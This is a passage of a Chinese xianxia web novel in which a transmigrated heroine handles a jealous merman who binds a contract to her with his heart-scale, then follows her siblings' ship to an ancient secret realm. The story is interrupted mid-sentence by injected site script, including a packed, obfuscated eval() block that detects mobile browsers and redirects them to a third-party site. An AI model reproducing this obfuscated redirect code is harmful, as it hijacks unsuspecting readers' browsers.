想着,她目光暗戳戳落在大反派身上,今日他这一身倒是穿得喜庆,一袭红衣,黑色的护腕将袖口尽数收拢,更显利落干脆,潇洒万分,沿着衣领边缘掐了一道黑色的边,更显他唇红齿白,眉眼俊朗。 黑色的皮质腰带勾勒出劲瘦的腰身,腰带垂下来一段,野性又不羁。 墨发高束,额前碎发卷曲,自然垂在脸侧,从正面看,还能看到深红色发带恰如其分点缀在三千青丝中,活脱脱一副少年意气风发的模样。 如果忽略掉他眸底那浓到几乎化不开的阴鸷和晦涩,画面大概会和谐许多。 “是,这次来是想问问你想不想去。” “我啊……”林见微眼珠子转了两圈,“我这个修为就不凑热闹了。” 剧情里,原主本来也是可以不去的,毕竟修为不高,此行又山长水远,上古秘境偶然现世,还未有前人探索过,一切都是未知,没点实力的,进去就是赌命。 偏偏她想跟林扶摇争出个高低,追着去了,一路暗中给林扶摇使绊子,一路被怨种大哥及大哥的手下护着,勉强安然抽身。 至于常潮生。 秘境现世,幻剑阁也没有阻拦地阁弟子,不让人前往探索的道理,自愿报名,生死自负,其中危机重重,多有命悬一线的时刻,也折进了不少人。 “也好。”林扶摇轻点头,“上次考核,看你修炼懈怠……” “二姐,二姐!”林见微忙打断她,举起手投降,“我知道错了,别说了……所以这几天不是都在好好修炼吗,一点也没偷懒!” “行,我不说了。”林扶摇唇边弧度加深,那笑意依旧浅浅淡淡的,却像是冲破了某层厚厚的壁障,骤然间得见天光,活灵活现地落到地上。 “那你们什么时候走啊?我去给你们送行!” “上古秘境出现在南州寒雾山,我们需一路向北渡过重洋,耽搁不得,明日一早就要出发。” “这么着急?”林见微一惊,她对这世界的人文地理有所了解,但了解得不多,只看过不少风物志,主要是打发时间,“那二姐你快快回院里收拾东西吧,多带些法宝防身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我就不耽搁你的时间了。” “好。”林扶摇告辞离开,眨眼间便化作流光一道,猝然飞回了明珠院中。 林见微瞧着那一簇流光,咂咂嘴,果然啊,人比人气死人,厉害的人连退场方式都这么炫酷!她得练多久才能有这效果啊…… 转头看向静静站在一旁的常潮生。 “你要去秘境吗?” “你不去,我也不去。” 林见微一惊,不自觉抬高音量,“什么?” 刹那间脑中思绪乱飞,这,这是可以不去的吗…… 她不去只是少给主角团添乱拖后腿,免得惹人厌烦。常潮生不去,那不是直接把后面一系列剧情全部都蝴蝶掉了吗…… 真,真打算跟她这么绑一辈子啊? “你想我去?”那一双漆黑如墨的瞳孔稍稍转动,常潮生依旧死死盯着她,只是眸中暗芒一点点灰败下去。 林见微摸摸鼻子,“去,去吧……” 虽然险是险了一点,但富贵险中求,她对常潮生还是有信心的。 而且,这一次秘境之行,常潮生可以说是最最大的赢家,收获的机缘足够他彻底翻身,扭转现在的境遇,若是错过了,林见微估摸着,就算是把林家这些年用来培养林戈的资源全部拿来比较衡量,都不一定能对等。 能看到他的日子一点点好起来,得偿所愿,她还是挺乐意的。 “呵。”他终是轻笑一声,眸底积压的阴云愈发浓重,“也对,若是我死在外面,倒也省了你想方设法摆脱我。” “啊?”林见微脑子一懵,飞速否认,“我不是,你别乱说!” “这上古秘境可遇不可求,我就是觉得你进去说不定能碰到什么机遇,绝对没有让你去送死的意思啊!” 林见微此刻只觉汗流浃背,这大反派未免也太敏感多疑了些!她不过随随便便一句话就能被解读成这样,那日后干脆也别说话了! “是吗?”常潮生神色稍霁。 “当然是了!”林见微悬起的心勉强放下。 “你既然想让我去,那我就去吧。”少年又垂下眸光,骨节分明的指尖把玩着一个亮晶晶的东西,语调压低,却格外动人,“正好不在这儿碍你的眼,好让你专心找那个连名字都不敢透露的鲛人。” 林见微一惊,刚放下的心马上又悬起来,讪讪一笑,顾左右而言他,“那你快回院里收拾收拾东西吧,万珍阁里的法宝、丹药你随便挑,早去早回……” “这么大方?”常潮生略一挑眉,唇边噙着笑,眼底却全无笑意,缓缓向她逼近,“不想留点给那个鲛人?” 少年一袭红衣烈烈,如火一般。 这样一副浮光潋滟的皮囊下,暗暗翻涌着的病态与偏执,也如火一般。 恣意,燎原。 林见微一脸警惕,默默退后半步,谁知常潮生却先止住脚步,也不再进了,只朝她伸出手,手心摊开,一枚水蓝色的鳞片在日光下熠熠生辉,躺在他手心中。 浓淡渐变的蓝刹那间吸引走了她全部的注意,鳞片闪着微光,仿佛有一种教人沉迷到失神的魔力。 “你都让我进万珍阁挑选法宝了……这个,算我的回礼。” 林见微下意识伸手接过,指尖触上时湿润滑腻,仔细一看,却没有水痕,手掌大小,中间厚,四周薄,而那一抹夺人心魄的蓝,也由鳞片中心向四周渐变成透明的白。 最边缘处,锋利异常。 “这是什么动物的鳞片?”她不住用手指摩挲,触感实在是细腻舒服。 “我的。” 话音刚落,一抹水蓝色光芒骤然从鳞片上迸发而出。 林见微脊背一僵,根本来不及反应,那荧光携带一股莫名而起的妖力直直没入她眉心,刹那间,凉意直达灵府,深深烙下一块难以抹除的印记。 纷乱中惊鸿一瞥,正是她手中这片鱼鳞的形状! “你对我做了什么?”只一瞬间,她仿佛又看到了凄惨的未来在向她招手。 “只是一个契约罢了,何必这么紧张?” 30.乘鹤追舟(10w) “契约?你的鳞片?”林见微脑子晕晕的,灵府中骤然多出来一样东西,实在让她难以忽视,“你拔自己的鳞片做什么?不痛吗?” 她又摸了摸手中的光滑鱼鳞,“你跟我结成了什么契约?” 理论上来说,结成契约,她是可以内窥灵府,自行查探的,但偏偏她修炼得不到火候,暂时还无法将灵识沉入灵府中探查,只能有一些模糊的感应。 常潮生却不答,只是微微一笑,转身便离开了院子。 那一抹燎原的红,一路灼烧,一路熄灭,直至隐没在林草尽头。 “什么脾气!”林见微小声吐槽一句,立于廊下,房檐上的风铃轻哼着歌,风过时,似有若无,缠绵纠葛。 …… 翌日。 巨舟遮天,大帆高悬。 林见微挽起一身戎装,早早便到了幻剑阁正殿中为众人送行,人来人往,摩肩接踵。 林戈和林扶摇分别站立在林续和王添羽身侧,一家人都富贵无匹,气势不凡,和乐融融说着话,她忙带着常潮生凑上去。 “爹,娘,大哥,二姐!” “真是难得你大清早愿意来折腾这一趟。” “哥,话不能这么说,你和二姐出发冒险,此行山水迢遥,我自然要来相送!” “你啊你,倒是不思进取,只知道在这岛上偷懒。”林续话语虽是责备,却真无几分责备之意。 王夫人站在一旁笑看他们,那完美到毫无破绽的笑焊在她脸上,粘成了一副无法取下的面具。 林戈一见到常潮生,便知道小妹又跟这人搅和到了一起,更让他惊奇的是,小妹身上似乎沾染了几分这鲛人的气息,两人之间怕是发生了些什么。 不是采.补.双.修,便是结成契约。 思及此,他脸色更沉了三分,直恨得牙痒痒! “伯父,伯母!” 正是几人寒暄时,身后却传来一道清朗如玉的男声,林见微循声看过去,便见一白衣公子摇着扇子过来,近了,略一拱手行礼,端得姿容高洁,不染尘埃,气度风流,皎皎如月。 “定之,你若再不来,本君就要以为你怯场了。”林续笑呵呵看向他。 那白衣胜雪的公子直起身,不卑不亢,“伯父真是瞧低了我,晚辈不过是想到错过了上次的认亲大典,今日初见林三小姐,特意去备了份薄礼聊表歉意。” 林见微闻言一个激灵,立马反应过来这人的身份,书中男二,典型的温润如玉挂的美男子,还是林扶摇小时候便定下的未婚夫,两人也曾青梅竹马过一段时日。 倾慕林扶摇,只是最后林扶摇没选他。 最最最最重要的是—— 原主喜欢他! 高定之与林家女早早定下婚约,原主心中本就郁郁不平,自然以为这人合该是自己的未婚夫。 一开始还只是想与林扶摇争一争,咽不下那口气,好让林扶摇不痛快,谁知到后来却是动了真心。 …… “也好。”林续忙招手让林见微到跟前,“正好你们晚辈之间见一见,别生分了。” “早听闻林三小姐仙姿玉容,今日一见,果真如此。”高定之眉眼如画,噙着笑,说着便抬手奉上一个小匣子。 “我看公子也生得俊俏。”林见微笑得敷衍,也不好多表现出什么,还是收下了礼物。 她知道高定之此人,人不如其名,与端正耿介这类性格毫不相干,惯是这么爱说些似是而非,处处留情的话,生得一双多情的狐狸眼,勾得原主神魂颠倒,沉迷到难以自拔。 到最后,这人轻飘飘抽身而去,还没忘倒打一耙,说她不过是自作多情。 呸! 还好林扶摇最后没选他! 还仙姿玉容,仙姿玉容的林扶摇本人还站在这儿呢!她这一身红白相间的利落裙装可半点不沾仙气。 林续看出林见微兴致不高,轻轻一句便将话题引到林扶摇身上,“定之,此行山长水远,你也要多照顾照顾扶摇。毕竟你们二人年纪也到了,当年定下的婚约也是时候提上来。” “那是自然。”高定之笑着应下,偏头看向自己的未婚妻,眼底是掩不住的惊艳和倾慕之色。 林扶摇茕茕立于王夫人身边,闻言,唇边的笑意散去了些,眸中刹那间滑过一抹寒芒,更带三分尖锐的讥诮。 “话不能这么说。”王添羽轻轻拍了拍林扶摇的手,眼神也跟着冷下来,看向高定之,“当年你父亲替你求来这么一桩婚事,要娶林家女,而今见微被找回来,多出这么一桩意外之事,或许婚事也该重新考虑考虑。” 说着,她缓缓将目光移向林见微,“是吧?” “啊?我……”林见微彻底被这话打懵了,支支吾吾,“不……” 剧情里虽然也有人提换亲的事,但都是旁人的闲言碎语,林氏夫妻二人可从没有表态,反而更倾向于听从后辈的意见,任其发展,甚至偏向于不换亲。 这样,原主作为名正言顺的三小姐,有林家做靠山,自然生活不愁。 假千金林扶摇虽然身世有异,但嫁给青梅竹马,与高定之无论从容貌、家世、修为境界,还是天赋上也算可堪匹配,加上高家又是林氏家臣,忠心耿耿,断然不敢慢待了她,余生也不会受什么苛待。 现在这局面,她着实有些看不懂。 林戈闻言忙站出来解围,伸手拦在林见微身前,呈保护之态,“小妹刚回来不久,还没来得及在父母跟前承欢膝下,怎么能着急将人嫁出去?” “也对,是为娘欠考虑了。”王添羽接过他递来的台阶,皮笑肉不笑将话题揭过,“时辰不早了,也别让旁的人久等,快走吧。” 林戈和林扶摇一一应下。 林见微抱着高定之送的匣子默默退到一边,挠挠头,还是没想明白这剧情到底是哪里出了差错。 正想得出神,额头上忽然一痛,罪魁祸首笑着收手,便听林戈嗓音清朗,如碎玉相击,“好了小糊涂蛋,别忘了在族中专心修炼,为兄回来可要单独考考你。” “不要啊——”林见微一听考核就心里发怵,根本来不及拒绝,林戈已笑呵呵招呼上高定之一同离开,林扶摇也化作一道流光追上去。 她转头看向跟在身边的常潮生,神色恹恹,随口嘱咐道,“你也快走吧,一路平安,早去早回。” “好。”说罢,他径直转身离去。 “哎?”林见微一脸诧异,今天这大反派居然不作妖了?反应这么平淡?她居然还有些不习惯。 跟林续和王添羽告辞后她也拎着那匣子款款离开。 踏出昭阳殿,天上十数艘飞舟遮天蔽日,风吹幡动,猎猎作响,船帆扬起时,站在地面朝上看,更是如阴云蔽日,黑云压城。 轰隆一声,巨舟开始缓缓移动。 林见微打了个哈欠,也没兴致在这儿拆开看,随手将小匣子收入储物袋中,谁知灵力方一探入,蓦然觉察到一抹熟悉的气息,取出来一看,正是昨日常潮生送的那片鱼鳞。 嗯? 林见微一愣,这鲛人鳞片……她并未随身带着,而是在昨晚上就随手放到了寝殿的妆奁盒子中,莫非是绑定了契约的缘故?还能自己找上她? 也没多想,她手里把玩着鳞片便缓缓离开。 今早为了赶时间,她并未自己御剑来,此时步入园中,朝神辇停靠的位置去,远远便见到四只白鹤浑身落满金光,似钟天地之灵气,仙气飘飘。 刚一走近。 便听假山后传来一道窸窸窣窣的声响。 林见微蹙眉看过去,恰好看见一张有些熟悉的脸,愣了片刻才反应过来,这人正是几天前与常潮生产生在地阁产生争执的鲛人! 那人也看到她,眉宇间忙挂上一抹讨好的笑。 “见过三小姐。” “你怎么在这儿?身上的伤好了吗?” 林见微不过随口问了一句,那人立马做出一副受宠若惊的样子,随后目光不经意间落到她手中鳞片上,更是一副惊讶得要跳起来的模样。 “小姐手中的,可是鲛人族的鳞片?” 林见微眉头皱得更深,总感觉这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958899|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说话太过刻意,像是故意在这儿守着等她出现,也不知是何居心,“是又如何。” 那鲛人啧啧两声,面上表情夸张做作,痛心疾首,“这可不像是普通的鳞片,鲛人身上的护心鳞干系生死,一生只能与一人结成契约,他刚拔了鳞片,想必妖力折损,十不存一,如今又要启程去秘境冒险……” “你说什么?”林见微只听得到“妖力十不存一”这几个关键字,顿时觉得头大,也反应过来其中原委,厉声质问,“是常潮生让你在这儿蹲我的!” 那鲛人一听,顿时两眼泪汪汪,满脸都写着被强迫和身不由己,嘴里还装模作样连连反驳,“不,不是,我只是偶然路过……好心提醒一句罢了……” 呜呜呜呜呜…… 天知道那日他收了三小姐的丹药后,还没来得及高兴,常潮生便杀过来抢走了装丹药的瓶子,还威胁他不准说出去,不然就要弄死他! 他想着反正丹药还在,也不知道抢瓶子是什么德性,心里骂了两句便也作罢。 谁知,他还不消停,又要剜护心鳞又要用苦肉计,还逼着他配合,来这儿逢场作戏,又是一番武力威胁和压迫。 蠢!太蠢了!居然把甘愿把护心鳞交给人族! 苦肉计也不是这么用的啊! 真把小命搭进去就知道老实了! “路过……”林见微咬牙切齿。 她就说今天大反派怎么这么安静,从落云院到昭阳殿这一路上也不说话,老老实实坐着,走得也干脆利落,感情是在这儿等着她! 好,好,好。 “你去一趟昭阳殿,就说我追着天上的方舟,要一同去探探那上古秘境。” 言罢,她踏上神辇,四只仙鹤振翅而起,引颈长唳,只一瞬间便带着神辇冲上云霄,消失在茫茫无际的层云之中,只留下园中那鲛人孤零零站着,不住咂舌。 难道这大款还真让常潮生那小子给傍上了? …… 浮生岛孤悬海外,虽地域辽阔,不必与外界交流也能傲视群雄,独守一方安宁,但固守这一寸天地到底会限制眼界,因而便常与外界有所往来。 岛四周都是浩渺海波,往来出入,皆以舟渡,林氏炼器师造出的飞舟自然也不同凡响,日行千里都算是保守的。 群山浩荡,碧波汹涌,层云之下,陆地上沟壑纵横,山川湖海,平原群峰,看得一清二楚,目不暇接。 林见微指尖摩挲着那一片水蓝色的鱼鳞,冰凉凉的触感,在光下幽微闪烁,她又投喂了几颗灵石和丹药给身前奋力振翅的白鹤,远远追着极远处已经化作小小黑点的方舟去。 周遭风云涌动。 握在手心里的湿润滑腻,如一粒小小的石子,扑通一声落入心湖中,涟漪层层荡漾开,而石子却沉沉落入湖底,销声匿迹。 近了。 追上了那一群方舟的尾巴。 林见微手中的那一枚鳞片像是有所感应一般,如雾似幻,牵引勾勒出一缕似有若无的细线,绵软坚韧,就蛛丝一般轻盈,飘散又汇聚,似擦亮了一方夜幕的细碎荧光。 鹤唳刺破云霄。 林戈独自立于甲板上,俯瞰脚下山河万里,层云迷人眼,忽闻鹤唳,下意识眉心一跳。 回身遥望,果然见到了那一驾无比眼熟的神辇,轿檐上翘,走兽衔珠,珠帘垂下,叮当摇晃,因为速度极快,萦绕在轿辇周遭用来避风的法诀都不大能承受,林见微只好伏着身子降低影响。 那四只灵兽白鹤也是被逼得发狠了,使出了吃奶的力气,拽着轿辇便直直朝这飞舟冲来,翅膀都扑腾出了残影,他连忙叫人放缓了飞舟的行进速度,方便它们着陆。 “哥!我来啦!”林见微远远朝林戈招手。 林戈气得牙痒痒,不知她这又是闹哪一出,但也只能认命将人接住,双手结成法印,刹那间,轿辇周遭狂风止息,霸道的灵力硬生生将少女从座位上拽出来,护着人稳稳落到甲板上。 那群鹤见任务完成,便也没有着陆,放缓了速度,一掉头便拉着空轿辇缓缓而归。 31.对谁都一样 “你来做什么?” “咳咳——”林见微稳住身形,左右瞧了瞧同样在甲板上看风景的人,顶住林戈的目光,到底没有把常潮生的事供出来,只能干巴巴解释道,“我忽然觉得自己还是要出门锻炼一下比较好……” “再说了,你和二姐都出来历练了,我也想来长长见识。” “胡闹!”林戈一眼瞥见她手心里握着的水蓝色鳞片,完全不相信她说的鬼话,“做事没点章法,朝秦暮楚,你真是好样的!” “哥,我累了……要休息,先不说了。”林见微忙举手投降,打断他的唠叨,又四处张望,“我住哪儿啊?” 林戈抬手指了指她身后,强忍住翻白眼的冲动,似乎已经放弃了挣扎,“喏,你要找的人来了,让他带你去吧。” 小心思被人拆穿,林见微只狡黠一笑,转身便朝常潮生走去。 一站到男子跟前,她顿时收敛了笑意。 横眉冷对。 “走吧,先带我去房间。” 常潮生依旧做出一副老实巴交的样子,仿佛真的不知道林见微到底为何而来,默默走在前方引路,引着她一步步攀上楼阁,进到一间无人的华丽厢房中。 “啪——” 林见微反手合上房门。 背靠在门板上,抱臂而立,指尖灵活,把玩着那一枚鳞片。 “之前你耍我的事,我还没有找你清算,现在又用这护心鳞卖惨博同情,非逼我追来船上,你的命就这么不值钱?还有什么事是你做不出来的?” “我的命的确不值几个钱。”常潮生唇角勾起,眸底浸染万般情绪,等沉淀下来时,便是一半兴味,一半疯狂,“可你还是追来了,不是吗?” 少女深呼吸一口气,手心中流光一闪,将鱼鳞收好,莲步轻移,停至少年跟前,指尖掐起一抹法诀,绿色的荧光便直没入他眉心。 常潮生不避不闪,任由她查看体内的伤势。 那一抹法诀缓缓游走于通体经脉中,本应当是没什么感觉的,却偏偏给他一种酥麻麻的错觉,每一寸肌理、血管、皮肉,一点一点,融化进这亲昵柔和的爱.抚中,缠绕住他的手脚,教他无法挣扎。 收了法诀。 大抵是被气到了极致,林见微反而笑起来,“伤的还真不轻,你可真是好样的。谁叫你用自己的命开玩笑?你以为这样别人就会可怜你吗?疯子!” 她手下没收着力气,只推了常潮生一把便将人推到了地上,骨头撞上厚厚的地毯,还是能听到一声沉沉的闷响。 “我警告你,再有下次,我绝对不会再管你!”说着,林见微揪着他的衣领将人从地上拽起来,一边发怒一边塞了瓶治伤的丹药到人手里。 “哈哈哈哈哈……”常潮生兀自笑起来,丝毫不在意身上那一点无足轻重的伤痛,“不是还有你可怜我吗?三小姐总是容易心软的。” 就是,对谁都一样。 “你!”林见微简直快气炸了,连拉带拽将他连人带丹药一同轰出门去,“你给我滚出去!不把伤养好就别来见我!” “嘭——” 房门阖上,林见微还没消气,愣是在屋内打了两套军体拳才冷静下来。 打完拳肚子也饿了。 便吃着点心,倚到窗前,看飞舟之下云海翻涌,云海之下,是茫茫无际的一片大海,深深的蓝,一直绵延到天际,漫过地平线另一端,像是永远看不到尽头。 而他们,就身处在这一片晦暗的深蓝之中,被包裹,被围拥,被覆盖。 上下天光,一碧万顷。 夜风起时。 天上繁星三两点。 这时,天上是黑的,地上也是,天地之间,萧索肃寂。 少女提着裙摆从蒲团上站起身,推开门,长廊里一片寂寂,她留了个可以定位的法诀在门上便兀自在这浩大似楼宇的飞舟上转悠起来。 见识过林氏的奢靡和豪横,再见这渡舟内的装潢,也没什么好惊艳的。 沿着弧形旋转楼梯拾级而下,夜里的渡舟上除了巡逻的弟子几乎见不到什么人,她不知不觉就走到甲板上。 万里长空,夜风吹拂。 大抵是离海太近,风里便染上了一种淡淡的海盐味,湿漉漉吹到面上,勾起青丝与风缱绻缠绵,小意温柔,一下子将她的记忆拉回到很久远的从前。 未过经年,却恍如隔世。 也确实隔着一世。 常潮生出来时便看到这样一副景象。 劲风猎猎,少女倚着栏杆,昏黄的灯火只照着她的背影,裙袂翻飞间更显她骨清纤弛,茕茕孑立于天地之间。 独自莫凭栏。 “你怎么来了?” 她听到了脚步声,此时也早就消气了。 “你在想什么?” “啊。”少女一怔,眼底的哀愁与晦涩还未散去,只是轻笑一声,“在想从前的事。” “你相信前世今生吗?”她自顾自说着,断断续续,犹豫不决,还是说出了口,“不是轮回转世,就是……乾坤颠倒,光阴逆转,一切重头来过。” “信。” “真的?”林见微眼眸一亮,静候下文。 “曾在一些江湖野志中看过,多是捕风捉影的杜撰。”常潮生语气淡淡,刹那之间,却又感觉自己忘却了什么,错过了什么…… 到底是什么呢? 他抓不住,也堪不破。 夜色茫茫,心竟然也跟着笼上了一层茫茫白雾。 “那你还信!”林见微没好气白了他一眼。 常潮生却不说话了,仿佛是隔了一个世纪那么久,他听到自己的声音幽幽从唇齿间流出,好像被一股看不见的力量牵引,“那如果有前世,我们会是什么样?” “如果有前世,说不定我会仗着身份狠狠欺负你!”林见微恶狠狠朝他挥了挥拳头,旋即又蔫巴下来,默默补充完结局,“然后被你报复……” 流落永夜城,苟且偷生……真是想想就为自己鞠了一把心酸泪。 “不会。” “我永远不会伤你。” 夜风太大,将他这两句轻飘飘的话吹得老远,一点点落入虚无缥缈的幻境,再难以寻踪觅迹。 “真的假的?”林见微身子一歪,凑到少年跟前打量他的神情,眼珠子一转,故意使坏,“那要是真有前世,说不定我还有喜欢的人呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984690|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “喜欢谁?”少年懒懒掀起眼帘,似笑而非。 “高——”林见微顿觉身上凉飕飕的,及时刹住话,暗骂自己真是嘴.贱,连忙转移话题,“咳咳咳——高兴,我是说跟你说话挺高兴的,哈哈。” “高定之。”常潮生移开目光,手指轻轻敲击围栏,一下又一下。 “啊?谁啊?不认识不认识。”林见微连连摆手,装模作样打了个哈欠,一步步往后退,“好困啊,不行了,我要回去睡觉,告辞告辞!” 说罢,她赶忙一溜烟跑了。 …… 十日后。 渡舟掠过苍茫大海,已然从南部登上仙洲大陆。 林见微兴冲冲站在甲板上,靠着栏杆向远眺望,丛山叠叠,清新的空气扑面而来,冲散了燥热的暑气,风掠过,鹰隼盘旋。 “大哥,二姐,还有多久才能到啊?” “快了。”林戈轻轻一笑,眸光里都是宠溺之意。 林见微不满意这模棱两可的回答,忙向林扶摇投去一个询问的目光。 “一个时辰。”林扶摇也笑,莲步轻移,盼睐如曜,也跟着她一同靠在栏杆上,明眸中白茫茫一片,将这无限江山纳入眼底。 林见微一思忖,忙将提前制定好的苟命方针在脑海中默默复习一遍—— 不求大富大贵,只求全身而退! 遇事能跑就跑,听劝绝不作妖! 没一会儿。 众人收到少主传讯,渐渐聚集到甲板上,林戈显然有要事嘱咐。 高定之手摇折扇,不疾不徐朝林见微和林扶摇的方向来,常潮生紧随其后,默默停在林见微身边。 “好了诸位,此次上古秘境现世,尚未有人进入探索,如今传出来的消息也不多,诸位自行组队,结伴探索,带好玉灵符,相互照应,若有什么发现,也可及时交换信息。” “是!” 众人应声。 林见微听着听着却忽然犯了难。 按照剧情,她自然是要跟主角团一起走的,常潮生则是自己随机跟旁的地阁弟子组队,历经险境,熬死了身边的人,命悬一线后才获得了机缘。 可现在…… 思及此,她目光斜斜往常潮生身上飘。 “怎么了?” “啊,没事。”她忙收回目光,末了,还是不放心,压低声音凑上去问道,“你伤好了吗?” 常潮生眸色柔软下来,潋滟中闪着淡淡的光,轻声回应,“好了。” “真的?” “嗯。” 林见微勉强放下心来。 “你们俩真是一个不留神就凑到了一起。”林戈吩咐完事,目光凉飕飕扫过站在一旁交头接耳的两人。 林见微讪讪一笑,默默靠常潮生更近一些,一副听候发落的模样。 “行了,此次深入秘境,你就安心跟着为兄便好。” “好!”林见微忙不迭表态,背靠大树好摸鱼的道理她还是懂的,也管不得常潮生的机缘了,都交给老天爷去吧! 毕竟,剧情视角围绕主角转,她也不清楚常潮生在秘境中到底经历了什么,操心也没用,不如先躺一躺。 32.双重保证,稳啦! “小妹由大哥照顾我也放心,既如此,我便不与你们一道了。”林扶摇轻颔首,身边不知什么时候已然簇拥了一群人,将她拱卫在中心,与站在林戈一边的人划开阵营。 泾渭分明。 “哎?”林见微一愣,刚好站在两方人马中间,左右看了看,惊疑不定,只觉得头好痒,似乎要长脑子了。 剧情里,林扶摇,林戈,高定之,原主,不都是在一起行动的吗? 恶毒真千金,善良假千金,妄图一碗水端平,摇摆不定的厉害哥哥,以及被二女争夺目光和关注的高质量未婚夫,人物聚齐,buff叠满,狗血好戏开场,精彩纷呈嘛…… 那现在? 女主先退出了? 退出了? 啊? “也好。”林戈似乎早有预料,淡淡点头,“一路小心,平安归来。” “不是!等等!”林见微连忙出声打断。 “怎么了?”林戈与高定之比肩而立,眸光一转向她看来。 “哈哈哈哈哈哈……”林见微默默拉着常潮生向林扶摇那边慢慢挪动脚步,“我忽然觉得,还是跟着二姐比较好……” 说着,她忙看向林扶摇,一双小鹿似的眼睛巴巴望着她,眨啊眨,满是恳求,“咱们女孩子之间话题多一些……” “既如此,那小妹就跟着我吧。”林扶摇收回目光,神情依旧冷淡,长睫拓影,掩去眸底万千情绪,滴水不漏。 林戈却斩钉截铁拒绝,“不可。” “可!可的!”林见微脚一迈,已彻底站到林扶摇身边,便向林戈飞去一个恳求的眼神,让人不忍心拒绝。 “你!”林戈只觉太阳穴突突直跳,他这个小妹真是半点看不清形势! 玉山林氏内斗已然摆到明面上,权力倾轧,各方势力纷纷站队,半路又突然爆出来真假千金一事,形势愈发复杂。 当年二人抱错,致使林见微流落在外多年,林扶摇又身世未明,怎么看都疑点重重,父亲已然怀疑是王家手笔,恐怕与母亲脱不了干系,现已派人调查。 林扶摇身在局中,与王氏一脉关系匪浅,只怕她与母亲都最清楚其中真相。 本来若小妹这次不跟着一同来探查秘境,万事皆好。偏偏她半路跑来,跟着自己也能有所保障,若跟着林扶摇,出了什么“意外”,谁也说不清。 “哥,大哥,你不放心我,你还不放心二姐吗?我一定老老实实,绝对不拖他们的后腿!” 林见微挽着林扶摇的胳膊不肯撒手。 笑话,跟着女主和跟着男配,哪个生存概率高她还是分得清的!虽然不知道为什么剧情变了,但抱紧女主大腿总是没错的! 嘿嘿,躺赢的局! “过来。”林戈沉下脸色。 林见微没动。 “大哥,小妹既然想跟着我,我定会照顾好她。”林扶摇抬手拦在她身前,“还是你就如此信不过我?” 无声对峙。 到底是林戈先败下阵来。 “既如此,那不如同行,上古秘境凶险,也好有个照应。” “大哥都开口了,我自然没有拒绝的理由。”林扶摇放下手,眸中缓缓蔓延起大雾,白茫茫一片,干干净净,又缥缈不可琢磨。 林见微一愣。 又?又要一起了? “好啊,一起走!咱们整整齐齐的!” 剧情莫名其妙回到正轨,她便彻底放心下来。 双重保证,稳了! 林戈深深呼出一口气,沉下脸,目光扫过,“你东西可都带好了?还不快过来。” “带,好了的。”林见微感觉脖子一凉,轻拍腰间的储物袋压压惊。 常潮生抱剑而立,斜靠着栏杆,依旧是那一身少年感十足的红衣,更显身姿劲瘦挺拔,目光扫过,默默将众人神色尽收眼底,却停落到高定之手中那一柄折扇上。 渡舟下降。 大风自下而上扑面而来,风声呜鸣,吹得船身微微一晃,林见微手忙脚乱抓上身边人的袖子,常潮生便顺势扶了她一把。 下一刻,林戈的目光冷冷扫过来,“下盘不稳,回去还得加练。” “啊不!”林见微连忙站直,原地蹦跶两下,“稳,稳得很!” 林戈别过脸去,懒得看她跟那鲛人站到一块儿,左看右看看不顺眼。 “小废物。”林希也瞧见了她滑稽的动作,抱臂而立,轻声嗤笑,末了,也没忘看向林扶摇,笑她得带着这么个拖油瓶上路,也不知是去秘境探险寻宝,还是小女儿家外出踏青郊游。 “你!”林见微气得牙痒痒,却半天辩不出话来, 这杂灵根也不是她自己想长的,老天给的,能怪谁! “好了。”林戈眼含警告,“寒雾山快到了,堂姐还是先顾好自己吧。” 林希撇撇嘴,不再说话。 林见微也移开目光不看她,忽觉肩上多出来一只手,转头看去,果然是常潮生,对方依旧一副老实乖顺的模样,垂下眸光看她,眼中湿漉漉的,像极了一条小狗。 一想到过不了多久这人就要脱胎换骨,翻身变成大佬,留下自己一个人依旧菜菜的,她就嫉妒得牙痒痒,冷哼一声,便转过脸去不理他。 常潮生一脸莫名,忽然暗了神色,便将目光落在已经走远的林希身上。 巨舟游云。 眺望远处,是白茫茫一片。 寒雾山近在眼前,碧绿的树木灌丛遮掩在雾气里,转过了山,更是一片朦胧,万事万物仿若漂浮其中,形成一个个孤岛。 风一起,雾更大,奔流涌动,直刮得人起了一身鸡皮疙瘩。 林见微左右瞧了瞧,身边几乎全是熟面孔,都是经常跟在林戈或林扶摇身边,出入天阁和昭阳殿的那些。 一转眼,却见林扶摇莲步轻移,穿过人群,竟将纪青给带了过来,“这一路上也需要有个医修在,便让她来吧。” 说罢,她看向林见微,示意纪青过去跟着她。 林见微一愣,立马回过味来,感情这是专门给自己配了个专业的医师?生怕出了意外,别的人救不了她? 她虽然菜,但是—— 好吧,没有但是。 林戈目光扫过,没有异议,纪青毕竟算是个局外人,不牵涉林扶摇一派,若路上真有用得上的地方,让她来医治小妹,他勉强可以放心。 “见过三小姐。”纪青略一拱手,很快便认清了自己的位置。 毕竟这支队伍里人才济济,除去林戈和林扶摇兄妹二人,旁的也是两人精挑细选的心腹,实力自然不会差。 打眼扫一圈,除了林见微和她身边那个鲛人,旁的人恐怕根本用不上医修随时跟随,真出了事也能自己扛着从秘境抽身,事后再疗伤。 “又不是第一次见面了,不用这么生分。”林见微忙让开身边的位置。 